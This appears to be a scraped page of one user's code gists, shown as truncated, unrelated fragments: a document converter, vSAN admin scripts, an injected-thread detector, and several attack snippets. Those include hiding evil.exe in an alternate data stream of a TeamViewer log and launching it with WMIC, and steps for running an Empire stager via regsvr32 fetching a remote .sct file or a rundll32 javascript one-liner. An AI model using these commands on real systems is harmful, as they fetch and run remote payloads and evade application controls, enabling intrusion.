jamesshew

#!/usr/bin/env python
"""Convert a word (doc/docx) file to markdown"""
import sys
import os
import subprocess


SOFFICE = r'/Applications/LibreOffice.app/Contents/MacOS/soffice'
PANDOC = r'pandoc'

jamesshew

# define and encode test data
$TestString = 'This is a test. A short test for encoding and padding.'
$Encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($TestString))

# insert random '='
$Length = $Encoded.Length
$RandomChar = 1..($Length - 3) | Get-Random
$Encoded = $Encoded.Insert($RandomChar,'=')

# strip out '='

jamesshew

#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
 
 
#Executing the ADS content

* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

* Rundll32

jamesshew

#requires https://github.com/darkoperator/Posh-SSH

function Get-VSANResyncStatus {
   param(
      [string]$esx_server,
      [String]$esx_username,
      [String]$esx_password
   )

   $secpasswd = ConvertTo-SecureString $esx_password -AsPlainText -Force

jamesshew

<#PSScriptInfo
.VERSION 1.0
.GUID 4e9ee514-64cb-430d-afc9-fb0b24ca6c3b
.AUTHOR Ray Terrill
.COMPANYNAME Port of Portland
.DESCRIPTION This function tries to reconstruct what the RVC command "vsan.disks_stats ." does using PowerCLI. Shout out to @lamw for the idea.
#>
<#
    .NOTES
    ===========================================================================

jamesshew

function Get-InjectedThread
{
    <# 
    
    .SYNOPSIS 
    
    Looks for threads that were created as a result of code injection.
    
    .DESCRIPTION
    

jamesshew

function New-Detour
{
    param(
        $Library,
        $FunctionName,
        [ScriptBlock]$Detour,
        [String[]]$ReferencedAssemblies
    )

    #Download from easyhook.codeplex.com

jamesshew

1. Create Empire Listener
2. Generate Stager
3. Host Stager Code At Some URL
4. Host .sct File At Some URL
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
    -Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
7. Wait for Shell...

jamesshew

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
		<![CDATA[